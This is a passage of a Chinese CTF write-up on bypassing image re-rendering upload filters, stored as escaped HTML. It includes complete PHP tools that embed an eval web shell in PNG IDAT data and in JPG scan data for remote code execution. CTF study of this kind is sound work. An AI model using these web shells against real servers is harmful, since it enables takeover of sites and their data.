(tEXt)\uff0c\u8fd9\u4e9b\u6ce8\u91ca\u901a\u5e38\u5305\u542b\u5143\u6570\u636e\uff0c\u4f46\u5982\u679c\u8fd9\u4e9b\u6570\u636e\u88ab\u6545\u610f\u64cd\u63a7\uff0c\u53ef\u80fd\u4f1a\u5728\u67d0\u4e9b\u89e3\u6790\u5668\u4e2d\u89e6\u53d1\u4e0d\u540c\u7684\u884c\u4e3a\uff08\u5982\u5c55\u793a\u9519\u8bef\u6216\u4e71\u7801\uff09\u3002\u6b64\u5916\uff0c\u4e00\u4e9b\u6587\u672c\u6ce8\u91ca\u5757\u53ef\u4ee5\u5305\u542b\u6076\u610f\u5185\u5bb9\uff0c\u5982\u811a\u672c\u6ce8\u5165\uff0c\u5bfc\u81f4\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff08XSS\uff09\u3002<\/p>\n\n\n\n
\u811a\u662f\u901a\u8fc7\u64cd\u7eb5 IDAT<\/code> \u5757\uff08\u56fe\u50cf\u6570\u636e\u5757\uff09\u5c06\u6076\u610f\u4ee3\u7801\u63d2\u5165\u4e86\u56fe\u7247<\/strong><\/p>\n\n\n\n
<?php\n$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,\n           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,\n           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,\n           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,\n           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,\n           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,\n           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,\n           0x66, 0x44, 0x50, 0x33);\n \n \n \n$img = imagecreatetruecolor(32, 32);\n \nfor ($y = 0; $y < sizeof($p); $y += 3) {\n   $r = $p[$y];\n   $g = $p[$y+1];\n   $b = $p[$y+2];\n   $color = imagecolorallocate($img, $r, $g, $b);\n   imagesetpixel($img, round($y \/ 3), 0, $color);\n}\n \nimagepng($img,'.\/shell.png');\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u7684\u65f6\u5019\u6ce8\u610fHTTP\u5934\u90e8<\/strong>
Content-Type: application\/x-www-form-urlencoded \u662f HTTP \u8bf7\u6c42\u5934\u4e2d\u7528\u4e8e\u6307\u5b9a\u8bf7\u6c42\u4e3b\u4f53\u7684\u7f16\u7801\u683c\u5f0f\u7684\u5b57\u6bb5\u3002\u5b83\u7684\u4f5c\u7528\u662f\u544a\u8bc9\u670d\u52a1\u5668\uff0c\u5ba2\u6237\u7aef\u53d1\u9001\u7684\u6570\u636e\u91c7\u7528 application\/x-www-form-urlencoded \u683c\u5f0f\u8fdb\u884c\u7f16\u7801\u3002\u8fd9\u4e2a\u683c\u5f0f\u901a\u5e38\u7528\u4e8e HTML \u8868\u5355\u63d0\u4ea4\uff0c\u7279\u522b\u662f\u5728\u4f7f\u7528 POST \u65b9\u6cd5\u65f6\u3002<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e8164<\/strong><\/p>\n\n\n\n
JPG\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3<\/h4>\n\n\n\n
JPG\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3\u6f0f\u6d1e\u77e5\u8bc6\u70b9\u8865\u5145<\/strong><\/p>\n\n\n\n
JPG\u7684\u6587\u4ef6\u683c\u5f0f<\/strong><\/p>\n\n\n\n
\u4e00\u4e2a\u5178\u578b\u7684JPG\u6587\u4ef6\u7531\u591a\u4e2a\u6bb5\u7ec4\u6210\uff0c\u6bcf\u4e2a\u6bb5\u90fd\u6709\u7279\u5b9a\u7684\u6807\u8bc6\u7b26\u548c\u6570\u636e\u3002\u5e38\u89c1\u7684\u6bb5\u5305\u62ec\uff1a
SOI\uff08Start of Image\uff09\uff1a\u56fe\u50cf\u5f00\u59cb\u6807\u5fd7
APPn\uff08Application segments\uff09\uff1a\u5e94\u7528\u7a0b\u5e8f\u81ea\u5b9a\u4e49\u6570\u636e\u6bb5
DQT\uff08Define Quantization Table\uff09\uff1a\u91cf\u5316\u8868\u5b9a\u4e49
DHT\uff08Define Huffman Table\uff09\uff1a\u54c8\u592b\u66fc\u8868\u5b9a\u4e49
SOS\uff08Start of Scan\uff09\uff1a\u626b\u63cf\u5f00\u59cb\u6807\u5fd7
EOI\uff08End of Image\uff09\uff1a\u56fe\u50cf\u7ed3\u675f\u6807\u5fd7<\/p>\n\n\n\n
JPG\u56fe\u7247\u7b2c\u4e00\u6b21\u89e3\u6790\u548c\u6e32\u67d3<\/strong><\/p>\n\n\n\n
\u5f53\u4e00\u4e2aJPG\u6587\u4ef6\u88ab\u52a0\u8f7d\u65f6\uff0c\u56fe\u50cf\u89e3\u6790\u5668\u4f1a\u8bfb\u53d6\u6587\u4ef6\u5e76\u5c06\u5176\u5185\u5bb9\u8f6c\u6362\u4e3a\u5185\u5b58\u4e2d\u7684\u6570\u636e\u7ed3\u6784\u3002\u89e3\u6790\u5668\u4f1a\u9010\u6bb5\u89e3\u6790\u6587\u4ef6\uff0c\u5e76\u6839\u636e\u6bb5\u5185\u7684\u6307\u4ee4\u548c\u6570\u636e\u751f\u6210\u5bf9\u5e94\u7684\u56fe\u50cf\u3002<\/p>\n\n\n\n
    \n
  • \u89e3\u6790\u5934\u90e8\u4fe1\u606f<\/strong>\uff1a\u8bfb\u53d6SOI\u548cEOI\u6807\u5fd7\uff0c\u786e\u5b9a\u6587\u4ef6\u7684\u8fb9\u754c\u3002<\/li>\n\n\n\n
  • \u89e3\u6790\u6570\u636e\u6bb5<\/strong>\uff1a\u9010\u4e2a\u89e3\u6790APPn\u3001DQT\u3001DHT\u3001SOS\u7b49\u6bb5\uff0c\u89e3\u7801\u56fe\u50cf\u6570\u636e\u5e76\u6e32\u67d3\u3002<\/li>\n<\/ul>\n\n\n\n
    \u4e8c\u6b21\u6e32\u67d3\u6f0f\u6d1e\u7684\u4ea7\u751f<\/strong><\/p>\n\n\n\n
      \n
    • \u4fee\u6539APPn\u6bb5<\/strong>\uff1a\u5728\u7b2c\u4e00\u6b21\u89e3\u6790\u65f6\uff0c\u653b\u51fb\u8005\u901a\u8fc7APPn\u6bb5\u5d4c\u5165\u6076\u610f\u6570\u636e\uff0c\u4f7f\u89e3\u6790\u5668\u5728\u540e\u7eed\u5904\u7406\u65f6\u89e6\u53d1\u6f0f\u6d1e\u3002<\/li>\n\n\n\n
    • \u4f2a\u9020\u6570\u636e\u6bb5<\/strong>\uff1a\u653b\u51fb\u8005\u4fee\u6539DQT\u6216DHT\u6bb5\uff0c\u4f7f\u5f97\u5728\u4e8c\u6b21\u6e32\u67d3\u65f6\u89e3\u6790\u5668\u5d29\u6e83\u6216\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/li>\n<\/ul>\n\n\n\n
      \u6f0f\u6d1e\u5229\u7528\u811a\u672c<\/strong><\/p>\n\n\n\n
      <?php\n    \/*\n    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().\n    It is necessary that the size and quality of the initial image are the same as those of the processed image.\n    1) Upload an arbitrary image via secured files upload script\n    2) Save the processed image and launch:\n    jpg_payload.php <jpg_name.jpg>\n    In case of successful injection you will get a specially crafted image, which should be uploaded again.\n    Since the most straightforward injection method is used, the following problems can occur:\n    1) After the second processing the injected data may become partially corrupted.\n    2) The jpg_payload.php script outputs \"Something's wrong\".\n    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.\n    Sergey Bobrov @Black2Fan.\n    See also:\n    https://www.idontplaydarts.com\/2012\/06\/encoding-web-shells-in-png-idat-chunks\/\n    *\/\n \n    $miniPayload = '<?=eval($_POST[1]);?>';\n \n \n    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {\n        die('php-gd is not installed');\n    }\n    \n    if(!isset($argv[1])) {\n        die('php jpg_payload.php <jpg_name.jpg>');\n    }\n \n    set_error_handler(\"custom_error_handler\");\n \n    for($pad = 0; $pad < 1024; $pad++) {\n        $nullbytePayloadSize = $pad;\n        $dis = new DataInputStream($argv[1]);\n        $outStream = file_get_contents($argv[1]);\n        $extraBytes = 0;\n        $correctImage = TRUE;\n \n        if($dis->readShort() != 0xFFD8) {\n            die('Incorrect SOI marker');\n        }\n \n        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {\n            $marker = $dis->readByte();\n            $size = $dis->readShort() - 2;\n            $dis->skip($size);\n            if($marker === 0xDA) {\n                $startPos = $dis->seek();\n                $outStreamTmp = \n                    substr($outStream, 0, $startPos) . \n                    $miniPayload . \n                    str_repeat(\"\\0\",$nullbytePayloadSize) . \n                    substr($outStream, $startPos);\n                checkImage('_'.$argv[1], $outStreamTmp, TRUE);\n                if($extraBytes !== 0) {\n                    while((!$dis->eof())) {\n                        if($dis->readByte() === 0xFF) {\n                            if($dis->readByte !== 0x00) {\n                                break;\n                            }\n                        }\n                    }\n                    $stopPos = $dis->seek() - 2;\n                    $imageStreamSize = $stopPos - $startPos;\n                    $outStream = \n                        substr($outStream, 0, $startPos) . \n                        $miniPayload . \n                        substr(\n                            str_repeat(\"\\0\",$nullbytePayloadSize).\n                                substr($outStream, $startPos, $imageStreamSize),\n                            0,\n                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . \n                                substr($outStream, $stopPos);\n                } elseif($correctImage) {\n                    $outStream = $outStreamTmp;\n                } else {\n                    break;\n                }\n                if(checkImage('payload_'.$argv[1], $outStream)) {\n                    die('Success!');\n                } else {\n                    break;\n                }\n            }\n        }\n    }\n    unlink('payload_'.$argv[1]);\n    die('Something\\'s wrong');\n \n    function checkImage($filename, $data, $unlink = FALSE) {\n        global $correctImage;\n        file_put_contents($filename, $data);\n        $correctImage = TRUE;\n        imagecreatefromjpeg($filename);\n        if($unlink)\n            unlink($filename);\n        return $correctImage;\n    }\n \n    function custom_error_handler($errno, $errstr, $errfile, $errline) {\n        global $extraBytes, $correctImage;\n        $correctImage = FALSE;\n        if(preg_match('\/(\\d+) extraneous bytes before marker\/', $errstr, $m)) {\n            if(isset($m[1])) {\n                $extraBytes = (int)$m[1];\n            }\n        }\n    }\n \n    class DataInputStream {\n        private $binData;\n        private $order;\n        private $size;\n \n        public function __construct($filename, $order = false, $fromString = false) {\n            $this->binData = '';\n            $this->order = $order;\n            if(!$fromString) {\n                if(!file_exists($filename) || !is_file($filename))\n                    die('File not exists ['.$filename.']');\n                $this->binData = file_get_contents($filename);\n            } else {\n                $this->binData = $filename;\n            }\n            $this->size = strlen($this->binData);\n        }\n \n        public function seek() {\n            return ($this->size - strlen($this->binData));\n        }\n \n        public function skip($skip) {\n            $this->binData = substr($this->binData, $skip);\n        }\n \n        public function readByte() {\n            if($this->eof()) {\n                die('End Of File');\n            }\n            $byte = substr($this->binData, 0, 1);\n            $this->binData = substr($this->binData, 1);\n            return ord($byte);\n        }\n \n        public function readShort() {\n            if(strlen($this->binData) < 2) {\n                die('End Of File');\n            }\n            $short = substr($this->binData, 0, 2);\n            $this->binData = substr($this->binData, 2);\n            if($this->order) {\n                $short = (ord($short[1]) << 8) + ord($short[0]);\n            } else {\n                $short = (ord($short[0]) << 8) + ord($short[1]);\n            }\n            return $short;\n        }\n \n        public function eof() {\n            return !$this->binData||(strlen($this->binData) === 0);\n        }\n    }\n?><\/code><\/pre>\n\n\n\n
      \u9700\u8981\u5728Linux\u4e0b\u8fdb\u884c\u4e8c\u6b21\u6e32\u67d3<\/strong>\uff0c\u535a\u58eb\u7684\u56fe\u7247\u6210\u529f\u7387\u6bd4\u8f83\u9ad8<\/strong><\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u4e0a\u4f20\u4e4b\u540e\u6b63\u5e38RCE\u5c31\u884c\u4e86<\/strong><\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      <\/p>\n","protected":false},"excerpt":{"rendered":"
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